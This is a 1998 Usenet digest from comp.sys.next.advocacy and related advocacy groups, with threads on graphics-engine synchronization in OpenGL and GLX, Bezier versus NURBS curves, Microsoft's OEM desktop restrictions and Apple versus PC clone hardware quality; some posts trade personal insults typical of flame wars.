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NNTP-Posting-Date: 1 Jun 1998 17:21:21 GMT
Charles W. Swiger wrote:
[cut]
> Another problem is syncronization. Monolithic drawing engines generally are
> implicitly syncronized (ie, the app does a graphics call which runs to
> completion before returning). Again, they just aren't designed with the
> notion of client/server drawing and the potential for the two running at
> different speeds.
[cut]
Does this affect performance on the local side of the graphics engine?
Is it inherently faster to perform implicit synchronization when
remotability is not a concern?
Also, I believe that the OpenGL API is implicitly synchronized the way
you describe. However, the GLX extensions allow API calls to interact
with a command queue, buffered in the way that Xlib calls are. How does
this work; am I misrepresenting the situation?
MJP
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 1 Jun 1998 12:20:20 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ku6a4$g29$1@ns3.vrx.net>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk>
<6jhp08$5he@ragnarok.en.uunet.de> <6jhvgs$6sf$1@news.xmission.com>
<6ji0m0$at4$1@crib.bevc.blacksburg.va.us> <6jiaqk$6sf$4@news.xmission.com>
<SCOTT.98May29151643@slave.doubleu.com> <6kpcnn$kuo$5@ns3.vrx.net>
<6kun0a$88t$1@news.spacelab.net>
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Cc: chuck@codefab.com
In <6kun0a$88t$1@news.spacelab.net> "Charles W. Swiger" claimed:
> It doesn't. The problem is that remote graphics display requires "call by
> value" and not "call by reference" semantics.
Ok, I can see this.
> generally are designed around the assumption that the graphics engine has
> direct access to the memory and resources of the application doing the
> drawing.
I'm not sure that will be true in this case though. Mike?
> Another problem is syncronization. Monolithic drawing engines generally
are
> implicitly syncronized (ie, the app does a graphics call which runs to
> completion before returning). Again, they just aren't designed with the
> notion of client/server drawing and the potential for the two running at
> different speeds.
Ok, that one is clear.
Maury
From: rfelts@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 01 Jun 1998 19:20:59 GMT
Organization: gte.net
Message-ID: <6kuue2$an9$1@gte1.gte.net>
References: <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k8dee$a9h$1@nargun.cc.uq.edu.au> <35719045.3508921@news.supernews.com> <6kkgac$e0l$13@gte2.gte.net> <35768319.82491925@news.supernews.com>
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On Sun, 31 May 1998 17:54:05 GMT, someone claiming to be T. Max Devlin
wrote:
>rfelts@. (Roger), on Thu, 28 May 1998 20:15:12 GMT,
>>mdevlin@eltrax.com (T. Max Devlin) wrote:
>>>"Christopher Smith" <drsmithy@usa.net>, on Sun, 24 May 1998 16:11:27
>>>>[...]They can set Netscape to the default browser, but they cannot change the
>>>>default startup procedure - I would consider this a valid "condition" no
>>>>matter *what* the OS was.
>>>Obviously, you don't know jack-shit about operating systems and default
>>>startup procedures.
>>What of his statement above is incorrect? Or are you just taking
>>another opportunity to engage in gratuitous personal attacks?
<snip>
>If you can give me any concise description of what specifically the
>statement "They can set Netscape to the default browser, but they cannot
>change the default startup procedure - I would consider this a valid
>"condition" no matter *what* the OS was" then I'll be happy to point out
>exactly which parts are incorrect.
Unlike your statement above, Chris' is in grammatically correct
English. Or is that what's throwing you? Which words don't you
understand?
>My approximation would be "they can
>install Netscape, and associate it with .htm, but they cannot add the
>Netscape icon to the desktop."
This is not what Chris has said.
>If this is accurate, then the idea that
>his is a somehow OS-independant description of software relationships
>should be self-evident. The idea that it would somehow be "valid" for
>_any_ operating system simply characterizes the thinking of a Microsoft
>apologist.
Ah, here we go -- here's the breakdown. Chris (correct me if I'm
wrong here, CS) is not saying that there is a technical reason for the
initial boot to be left alone.
He is saying that it is a reasonable condition specified by the
publisher, and that it would be a reasonable condition regardless of
the OS (and by extension regardless of publisher.)
It's a marketing, eye-share thing and not a programming thing.
Clearer now?
> [a random "according to the contract, that is correct" response to an
>unrelated argument]
>>Glad to see you finally acknowledging this.
>Never claimed otherwise, you pathetic trolling moron.
Then if you have always acknowledged it, why did you, in message
3561b544.8450764@news.supernews.com , say:
"Until you can furnish some specific text from this mythical license
which says what icons go where, I suggest you recognize that those
people who _have_ seen OEM licenses don't recall seeing anything in
there restricting a PC vendor from making their PCs work the way they
want. I mean, we all know that Microsoft doesn't allow OEM to build
multi-booters with their OSs, which is bad enough. But you are just
_assuming_ that there's anything about whether Calculate must be
included or the Trashcan icon can't be touched..."
or in message 355b9a25.86044126@news.supernews.com, state:
"Do you have some details? Maybe the text of the clause in question,
or even a reference to materials in the current legal cases? I may be
wrong, though I surely think if there were such a clause this case
would not still be moving along."
Not to mention the very first time you called me a troll (Sigh.
Remember? I hope it was as special for you...) and the ad hominems
which followed?
I await your apology. Surprize me and own up to it.
>>>I wonder how many OEMs
>>>would agree with your charity concerning Microsoft's tactics,
>>>considering several of them were putatively threatened with losing their
>>>Windows licenses if they included, displayed, removed, or modified
>>>certain icons, et al.
>>
>>And what evidence to you offer to support your contention that
>>"several of them were threatened?"
What? No evidence?
>>>Yes, theoretically a vendor might include a startup program which
>>>partially (not totally, because MS does not publish their code) will
>>>disable Microsoft crapolla, then erase itself. But why?
>>
>>I agree -- why would they need to publish their code for a program to
>>be written? I could write a batch file to do the kinds of things that
>>have been discussed here.
>
>Beyond general and generally useless statements like that one, and
>constant (and mostly inappropriate) calls for citations and evidence
>meant to distract and annoy rather than investigate and discuss, what
>the hell purpose do you believe you are serving here on Usenet, Roger?
How is it useless? I * could * write a batch file to do what was
mentioned. No source code needed.
As to the "But why (would a vendor want to write such an animal,)"
very simply because it allowed them to stick to their contract and
still be able to do whatever they felt they had to to differentiate
their offering of the OS.
And my purpose? To point out that you continue to make unfounded
statements and have almost never bother to back them up, nor
acknowledge that you cannot.
I'm tempted to ask you -- beyond gratuitous insults and dramatic
presentation of your ignorance on a variety of subjects, what purpose
do * you * serve here on Usenet -- but I would not be so pompous as to
think I had any right to.
>I have to admit, I would _love_ to waste *way* more time than I can
>afford just responding to your ludicrous lack of rational thought and
>logical thinking, your trollish and repetitive behavior designed solely
>to annoy, and your absolute lack of purposeful statements and arguments
>aside from your constant Microsoft apologists defensiveness, embodied
>primarily by the kind of verbal diarrhea you have provided here.
>Unfortunately, I'll have to make do with an occasional foray into
>Microsoftee baiting such as this response.
Translation: I have no way to back up what I say, so I'll wave my
hands * real hard * and hope no one notices...
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 1 Jun 1998 14:26:03 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kudlr$l3d$1@ns3.vrx.net>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM>
<6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net>
<356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com>
<slrn6ms4sm.79d.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-2905980008090001@dialin33418.slip.uci.edu>
<slrn6mu26s.abi.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-2905981406440001@dante.eng.uci.edu>
<6kmp99$i5e$3@ns3.vrx.net> <19980531001706761026@sdn-ts-006txhousp05.dialsprint.net>
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In <rmcassid-0106981101200001@dante.eng.uci.edu> Robert Cassidy claimed:
> Wouldn't AltiVec have a potential impact on general performance?
Not really, no. SPEC's do rather "mundane" things that stress particular
parts of the chip, and I can't think of any (not being an expert on this by
any means) where a "port" to the AltiVec would help.
> IBM _supposedly_ has a 600MHz 64bit G4 due out early next year without
> AltiVec. So it seems that getting all the elements together in one PPC
> chip isn't in the works for a while.
True, but I'll take the G4 anyway.
Maury
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 1 Jun 1998 20:06:15 GMT
Organization: University of California at San Diego
Message-ID: <slrn6n62dn.2f4.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <slrn6n3hfb.ac1.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1975FEE-6288D@206.165.43.9>
On 31 May 1998 19:29:02 -0700, Lawson English <english@primenet.com> wrote:
:>But it has "3d perspective editable text" well under control. (snort).
:
:<snort> yourself. High-end DTP vector graphics applications such as
:Freehand 8.0 use 3x3 matrices to implement non-editable 3D perspective of
:2D text and graphics. GX goes an extra step and allows editing of such
:transformed text and graphics. If you'll recall your CHI 101, in general,
:modal human interfaces are a bad thing. A transformation (in the generic
:sense of the word) of text/graphics that renders it non-editable is
:generally not as useful to the end-user as an editable one that
:accomplishes the same appearance-changes [transformation] because while the
:user might be able to undo the change, he/she can't apply further editing
:to the changed graphic to see what the incremental changes will look like.
Yes I understand invertible and non-invertible transformations.
Now suppose I do have an 'editable' representation. How much editing can I
do without the program? Suppose I want to add a few new letters? Suppose
this changes whole word boundaries? Suppose that changes page boundaries?
How much application specific knowledge should be in the operating system
preferred file representation format?
The question is "Why should *this* *feature* be in the operating systems'
drawing layer?"
Look, I can take 2-d text and edit the postscript a little teeny bit and
change letters. But 99.9% of the time, it's a stupid thing to do.
Now, multiply this 0.01% by the 0.01% of the time somebody really needs
3-d perspectivized text......
In my dreams would prefer one which could represent scientific plots and be
fully invertible---I think that's much more interesting and useful (to me)
than semi-three-dimensionalized text. I will have to admit something: in my
entire life I have never once needed or wanted to use perspectivized text.
Other people may be different, but still....
:GX supports something that apparently QDe will not and does it more
:elegantly than the high-end DTP apps do in the first place.
:
:This is a Good Thing.
Great. Write a file-interchange format and library for three-d
perspectivized text, and put it under the LGPL.
I still feel that the decision that such an ability is not critical to
build into the operating system's framework is just fine.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 1 Jun 1998 11:15:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1983D8D-87CE@206.165.43.178>
References: <6ktunk$a6t$4@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Maury Markowitz <maury@remove_this.istar.ca> said:
>
>> pretty darn trivial. A far more interesting topic to discuss would be
>> whether or not the 2D API should use NURBS like Taligent's graphics
>system
>> or stick with Beziers. That would have a hell of a lot more impact for
>> developers than the scaling issues you're talking about.
>
> Obviously Beziers, the world has chosen.
Actually, the world is still divided. QD3D and OpenGL use NURBS. GX uses
quadratic beziers. DPS/QDe uses cubic beziers. Taligent uses NURBS, which,
BTW, are a superset of quadratic and cubic beziers.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rfelts@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 01 Jun 1998 20:48:49 GMT
Organization: gte.net
Message-ID: <6kv3in$an9$2@gte1.gte.net>
References: <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k883d$okb$4@strato.ultra.net> <356f8bcf.2366573@news.supernews.com> <6kkgab$e0l$12@gte2.gte.net> <3577870d.83503862@news.supernews.com>
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On Sun, 31 May 1998 17:54:07 GMT, someone claiming to be T. Max Devlin
wrote:
>rfelts@. (Roger), on Thu, 28 May 1998 20:15:12 GMT,
>You don't actually try to sell and support computers for a living, do
>you Roger? "All it would take" and "easy" are the way people who don't
>program typically think programming works.
Matter of fact, I do. Which specifically of the things that have been
discussed as useful for this batch to do, do you claim it cannot?
Seems to me this sounds like someone thinking with out source code,
nothing is possible.
>>>Says Microsoft? What exactly does the gov't ask for? I hardly think it
>>>is as general as "Microsoft give up its right to display the Windows
>>>user interface when consumers turn on a new PC running Windows for the
>>>first time."
>>
>>If the OEM is allowed to arbitrarily change the state of the desktop,
>>there is nothing in the standard OEM contract to prohibit them from
>>installing any other shell.
>
>And that's a bad thing? I mean, for anyone but Microsoft? Why should I
>care? If Microsoft is trying to compete in an industry where arbitrary
>changes are not only possible but encouraged (innovations don't come
>about if you can't change anything), why should they care? It couldn't
>be because Microsoft's overwhelming market dominance is based purely on
>marketing, and has absolutely nothing to do with their code, would it?
Never said it was a Bad Thing (t.m.) Was explaining why MS might
think it was.
>Microsoft actually has the gall to complain because a computer
>manufacturer wants _their_ name associated with _their_ products over
>and above Microsoft? And this is OK, because Microsoft needs that kind
>of leverage to stay in control of the market? What the hell is the
>_logic_ here?
It's not logic, it's marketing <g>
>>Note that I do not think that this would be a bad thing.
>>
>>Also note that Gateway, with the Blessing of Bill <g>, will be doing
>>this on their new boxes.
>
>These last two statements, taken together, are what cause me to think of
>you as a "Microsoft apologist". If you don't think OEMs installing
>other shells is a bad thing, then how can you think Windows is a
>functional operating system, considering you can't do that? The
>arraignment with Gateway has nothing to do with alternate shells....
Can't do what -- install alternate shells? You can. That was one of
my points. It is both technically possible and something that MS will
allow.
>No, wait! You can't actually be trying to use the word "shell" in place
>of "web browser", can you? Sorry, Roger, unilateral changes of
>nomenclature don't really have a part in the science of computing.
>Think up a real argument, take another number, and get in the back of
>the line. We'll call you when we're ready.
No, I meant shell. When I mean browser, rest assured I will say
browser.
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 1 Jun 1998 20:47:21 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6kv40p$90t$1@news.spacelab.net>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk> <6jhp08$5he@ragnarok.en.uunet.de> <6jhvgs$6sf$1@news.xmission.com> <6ji0m0$at4$1@crib.bevc.blacksburg.va.us> <6jiaqk$6sf$4@news.xmission.com> <SCOTT.98May29151643@slave.doubleu.com> <6kpcnn$kuo$5@ns3.vrx.net> <6kun0a$88t$1@news.spacelab.net> <3572E1F4.D8B5A1C3@nstar.net>
"Michael J. Peck" <mjpeck@nstar.net> wrote:
>Charles W. Swiger wrote:
>> Another problem is syncronization. Monolithic drawing engines generally are
>> implicitly syncronized (ie, the app does a graphics call which runs to
>> completion before returning). Again, they just aren't designed with the
>> notion of client/server drawing and the potential for the two running at
>> different speeds.
>[cut]
>
>Does this affect performance on the local side of the graphics engine?
Sure. A tougher question is whether it affects performance meaningfully, which
gets down to specific cases.
>Is it inherently faster to perform implicit synchronization when
>remotability is not a concern?
Yes, under some reasonable circumstances.
It gets more complicated if you start considering issues like multithreaded
drawing, a windowed display (with back-buffers for obscured drawing), and the
like.
This topic is also one where subjective factors can outweigh purely objective
measurements. For example, doing incremental display is guaranteed to be slower
than rendering the complete image and then displaying, yet most people prefer the
former since the preliminary stages gives them something to look at while waiting
for the complete image.
>Also, I believe that the OpenGL API is implicitly synchronized the way
>you describe. However, the GLX extensions allow API calls to interact
>with a command queue, buffered in the way that Xlib calls are. How does
>this work; am I misrepresenting the situation?
Yup. OpenGL was designed with a client-server display model and does not make the
implicit syncronization assumption than a monolithic display model does. In fact,
OpenGL has explicit support for syncronization via the glFinish and glFlush
commands (which correspond to NX/NSPing under OPENSTEP).
From http://www.sgi.com/Technology/openGL/mjk.intro/subsection3_1_1.html:
"The model used for interpretation of OpenGL commands is client-server. This is an
abstract model and does not demand OpenGL be implemented as distinct client and
server processes. A client-server approach means the boundary between a program
and the OpenGL implementation is well-defined to clearly specify how data is
passed between the program and OpenGL. This allows OpenGL to operate over a wire
protocol much as the X protocol operates but does not mandate such an approach.
[ ... ]
The specification which describes how OpenGL intergrates with the X Window System
is known as GLX. It is an extension to the core X protocol for communicating
OpenGL commands to the X server. It also supports window system specific
operations such as creating rendering contexts, binding those contexts to windows,
and other window system specific operations."
Also, from http://www.sgi.com/Technology/openGL/mjk.xlib/subsection3_3_4.html:
"3.4 Mixing Xlib and OpenGL Rendering
In IRIS GL, rendering into an X window using core X rendering after IRIS GL was
bound to the window is undefined. This precluded mixing core X rendering with GL
rendering in the same window. OpenGL allows its rendering to be mixed with core X
rendering into the same window. You should be careful doing so since X and OpenGL
rendering requests are logically issued in two distinct streams. If you want to
ensure proper rendering, you must synchronize the streams. Calling glXWaitGL will
make sure all OpenGL rendering has finished before subsequent X rendering takes
place. Calling glXWaitX will make sure all core X rendering has finished before
subsequent OpenGL rendering takes place. These requests do not require a protocol
round trip to the X server.
The core OpenGL API also includes glFinish and glFlush commands useful for
rendering synchronization. glFinish ensures all rendering has appeared on the
screen when the routine returns (similar to XSync). glFlush only ensures the
queued commands will eventually be executed (similar to XFlush).
Realize that mixing OpenGL and X is not normally necessary. Many OpenGL programs
will use a toolkit like Motif for their 2D user interface component and use a
distinct X window for OpenGL rendering. This requires no synchronization since
OpenGL and core X rendering go to distinct X windows. Only when OpenGL and core X
rendering are directed at the same window is synchronization of rendering
necessary."
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 1 Jun 1998 20:58:27 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6n65fj.sqf.sal@panix3.panix.com>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <356e6a40.0@news.camtech.net.au> <6kn7t6$npv$7@newsfep4.sprintmail.com> <rmcassid-2905981526310001@dante.eng.uci.edu> <slrn6n17mu.lsb.sal@panix3.panix.com> <3570A750.56BE9808@nstar.net> <slrn6n5jm1.2kj.sal@panix3.panix.com> <3572E0C5.BDEEDD46@nstar.net>
On Mon, 01 Jun 1998 17:11:33 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
>I don't want to get attached to an ideological committment that says
>it's acceptable for Apple to charge a premium for its machines.
You get what you pay for. Why do some 17" monitors cost more than others?
Better image quality, lower failure rate, lower .dp...
Apple is not a "no-name" cloner that competes totally on price.
>There's
>no need for that, as cloning proved by delivering high-quality hardware
>at rock-bottom prices.
Define "high-quality" (Don't bother, this is highly subjective and meant
only has a retorical question)
<horror-story>
Not all PC clones are equal. Some build downright awful machines. Packard
Bell/NEC comes to mind. I saw one that had it's case crack under the
wieght of a 17" monitor. That same monitor had been on another machine
for *years* and it didn't buckle of bend at all. It wasn't that much
heavier than a normal monitor. Not to mention the machine that had an IDE
ribbon cable blocking the fan on the power suppy. It took month to track
down the reason why the machine would crash (even if left alone) every day
at 2pm to 4pm. It must have gotten oven-like in that box. This kind of
stuff is _typical_ of the bare-bones cloners. The "quality" cloners rarely
suffer from this kind of crap. That's why they tend to cost more.
I am willing to pay more to know that my machine:
<music="something creepy sounding">
1) Won't have ISA slots that are blocked by the CPU fan.
2) Won't have an IDE ribbon cable blocking the power supply fan
3) The on board "soundblaster combatible" sound works
4) The built in modem card isn't blocking any memory slots
5) The "ne2000" network card can autodetect 10bT or AUI correctly.
6) PnP "just works" and doesn't find some magical bit of hardware after
every cold boot
7) The mouse port doesn't disconnect the mouse every once and a while
for no reason.
8) has a CPU cooling fan that *is* plugged in.
9) doesn't slow the machine down while attpeting to spin up and empty
CD-Rom drive 20 times a day
10)Has a case that can hold a normal monitor without cracking.
11)Has a keyboard that is doesn't feel like typing on damp newsprint.
12)Ships with the right video drivers (drivers that match the installed
card)
</music></horror-story>
I have seen clones with those problems in just the past few months. This
kind of crap is typical of the ultra low price cloners.
>But I would pay the premium anyway, if there were enough going for the
>platform. Right now, it's not anywhere close to where it needs to be,
>but that's just my opinion.
I agree to a point. I am willing to buy a g3 if it shipped with Rhapsody,
and offered "just works" level of use. Right now I am holding out for
CR1 to make up my mind. It had better be good hardware for me to give up
upgrading my main NT machine.
>> >I'd still be a big proponent of cloning, to bring down the price,
>> >though...
>> DeLL, Compaq, Gateway, Micron et al.
>Sure, why not? But why these? Why couldn't it be UMAX, Power Computing,
>Motorola, IBM, Tatung, Vertegri, Sony, etc., etc...
Mac cloneing is dead, and I doubt that *anyone* would invest in it after
UMAX reported those huge losses. And why do you care? Doesn't the x86
world offer enough choice? You even have the choice of buying some very
bad hardware.
--
sal@panix.com Salvatore Denaro
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 1 Jun 1998 17:06:07 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6kv53v$l4s$1@crib.corepower.com>
References: <6jsait$q4o@newsb.netnews.att.com> <slrn6n5jm1.2kj.sal@panix3.panix.com> <3572E0C5.BDEEDD46@nstar.net> <slrn6n65fj.sqf.sal@panix3.panix.com>
In article <slrn6n65fj.sqf.sal@panix3.panix.com>, sal@panix3.panix.com (Salvatore Denaro) wrote:
> <music="something creepy sounding">
> 1) Won't have ISA slots that are blocked by the CPU fan.
I had to trade my SB16 for someone else's PAS16 because the SB16 was
too long!! It ran into the CPU's heat sink. (Quantex system, in case
anyone is interested. And Quantex probably has a much better design
than a lot of the cheapo clone manufacturers out there..)
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: Mon, 01 Jun 1998 21:05:39 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <357317A3.1A2D55C4@nstar.net>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk> <6jhp08$5he@ragnarok.en.uunet.de> <6jhvgs$6sf$1@news.xmission.com> <6ji0m0$at4$1@crib.bevc.blacksburg.va.us> <6jiaqk$6sf$4@news.xmission.com> <SCOTT.98May29151643@slave.doubleu.com> <6kpcnn$kuo$5@ns3.vrx.net> <6kun0a$88t$1@news.spacelab.net> <3572E1F4.D8B5A1C3@nstar.net> <6kv40p$90t$1@news.spacelab.net>
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NNTP-Posting-Date: 1 Jun 1998 21:10:37 GMT
Charles W. Swiger wrote:
[cut]
> Yes, under some reasonable circumstances.
>
> It gets more complicated if you start considering issues like multithreaded
> drawing, a windowed display (with back-buffers for obscured drawing), and the
> like.
>
> This topic is also one where subjective factors can outweigh purely objective
> measurements. For example, doing incremental display is guaranteed to be slower
> than rendering the complete image and then displaying, yet most people prefer the
> former since the preliminary stages gives them something to look at while waiting
> for the complete image.
Ah. Specifically, perhaps you can comment on the speed of the X Window
System with regard to its client/server model.
> >Also, I believe that the OpenGL API is implicitly synchronized the way
> >you describe. However, the GLX extensions allow API calls to interact
> >with a command queue, buffered in the way that Xlib calls are. How does
> >this work; am I misrepresenting the situation?
>
> Yup. OpenGL was designed with a client-server display model and does not make the
> implicit syncronization assumption than a monolithic display model does. In fact,
> OpenGL has explicit support for syncronization via the glFinish and glFlush
> commands (which correspond to NX/NSPing under OPENSTEP).
I *knew* this, but didn't put it together...
[cut]
> Also, from http://www.sgi.com/Technology/openGL/mjk.xlib/subsection3_3_4.html:
>
> "3.4 Mixing Xlib and OpenGL Rendering
[cut]
Yes, this is a section I've read many times, but I assumed it applied to
GLX alone. I should've read below more carefully:
> The core OpenGL API also includes glFinish and glFlush commands useful for
> rendering synchronization. glFinish ensures all rendering has appeared on the
> screen when the routine returns (similar to XSync). glFlush only ensures the
> queued commands will eventually be executed (similar to XFlush).
>
> Realize that mixing OpenGL and X is not normally necessary. Many OpenGL programs
> will use a toolkit like Motif for their 2D user interface component and use a
> distinct X window for OpenGL rendering. This requires no synchronization since
> OpenGL and core X rendering go to distinct X windows. Only when OpenGL and core X
> rendering are directed at the same window is synchronization of rendering
> necessary."
And it's no fun, either.
Thanks for your commentary, Chuck.
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Mon, 01 Jun 1998 21:41:50 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3573201E.BCA15AB1@nstar.net>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <356e6a40.0@news.camtech.net.au> <6kn7t6$npv$7@newsfep4.sprintmail.com> <rmcassid-2905981526310001@dante.eng.uci.edu> <slrn6n17mu.lsb.sal@panix3.panix.com> <3570A750.56BE9808@nstar.net> <slrn6n5jm1.2kj.sal@panix3.panix.com> <3572E0C5.BDEEDD46@nstar.net> <slrn6n65fj.sqf.sal@panix3.panix.com>
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NNTP-Posting-Date: 1 Jun 1998 21:46:50 GMT
Salvatore Denaro wrote:
>
> On Mon, 01 Jun 1998 17:11:33 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
> >I don't want to get attached to an ideological committment that says
> >it's acceptable for Apple to charge a premium for its machines.
>
> You get what you pay for. Why do some 17" monitors cost more than others?
> Better image quality, lower failure rate, lower .dp...
>
> Apple is not a "no-name" cloner that competes totally on price.
You're butting right up against my point: Apple's quality may be on the
high level of hardware, but even when compared to similar-quality
hardware in the PC market, it falls short in price. In fact, many Apple
machines past and present have *lower* quality than cheaper PC in
specific areas.
My 17" monitor is a Princeton Graphic Systems EO74T. It has excellent
image quality and a .25mm dot pitch, and acceptable refresh rates at
high resolutions. It's one of the best monitors I could find 12 months
ago (when I bought it). I bought it from MacConnection (though I bought
it *for* a PC) and it came in at roughly $200 *less* than a comparable
Apple monitor.
I owned an AppleVision 1705 for a while. It was one of the shittiest
monitors I ever owned. The base broke within a few months of ownership,
the controls were abominable, and the display had horrible rotation and
pincushion problems. The monitor retailed for $850 at the time I bought
it, if I remember correctly. I'm glad I didn't pay retail for it.
> >There's
> >no need for that, as cloning proved by delivering high-quality hardware
> >at rock-bottom prices.
>
> Define "high-quality" (Don't bother, this is highly subjective and meant
> only has a retorical question)
Wait. Are you _just_ being rhetorical, or are you specifically disputing
my claim that clone hardware was "high-quality"? If you agree that clone
machines were "high-quality", there's no need to squabble over
definitions.
[cut]
> This kind of
> stuff is _typical_ of the bare-bones cloners. The "quality" cloners rarely
> suffer from this kind of crap. That's why they tend to cost more.
Of course it is. Then again, my brother bought a rock-bottom-priced
Quantex machine that I would grant "reasonable" quality. The only thing
that's *ever* gone wrong with that machine was that his power supply fan
failed and caused periodic heat-related crashes for a week until it was
replaced. The power supply was rated for low wattage to save money, and
thus when my brother upgraded his memory, hard drives, processor (from
Pentium 100 to K6-233), and motherboard, the strain was too much.
Hard to blame Quantex for that failure.
> I am willing to pay more to know that my machine:
>
> <music="something creepy sounding">
>
> 1) Won't have ISA slots that are blocked by the CPU fan.
> 2) Won't have an IDE ribbon cable blocking the power supply fan
All you have to do is look inside the machine. You don't have to pay
more to "know" this. You have the right to ask your salesperson to open
the machine; they'll do it if you insist.
> 3) The on board "soundblaster combatible" sound works
Simple; buy a machine with a brand-name card. It's not hard to know the
players if you spend fifteen minutes looking for some kind of ZDNET
coverage. I'm hardly an expert, but if you name a sound-card
manufacturer, I can tell you whether I'd buy from them.
> 4) The built in modem card isn't blocking any memory slots
More of the same; just look inside.
> 5) The "ne2000" network card can autodetect 10bT or AUI correctly.
I hope you're not buying an NE2000 network card, not 12 years after the
original design. Your manufacturer should be selling you an Intel, 3Com,
or comparable PCI network card with 10/100 capability and choice of
metallic-access interfaces. Such cards can be had for $40 apiece by
wholesalers and distributors.
> 6) PnP "just works" and doesn't find some magical bit of hardware after
> every cold boot
This is the mysticism perpetuated by the crappy manufacturers you're
describing, yes, but it is totally unnecessary. If you simply identify
the parts of a computer that need to be present, then establish your
rules for those parts, you are totally set. What should those rules be?
For example:
1) Don't buy a "sound card". Buy a "Diamond Multimedia M80" or buy a
"Sound Blaster AWE 64 Gold" or buy a "Guillemot MaxiSound Home Theater
64", buy whatever, but *don't* buy a "sound card". If there's no name on
it, the manufacturer didn't figure the name recognition was worth
anything. Big warning bells should be sounding.
2) Don't buy a "100 Mbps ethernet card", buy an "Intel EtherExpress Pro
10/100+" or buy a "3Com 3C905 Vortex", buy whatever, but *don't* buy an
"ethernet card".
I know you're going to say "name brand costs more", but you're thinking
of hundreds of dollars while I'm talking about literally five and ten
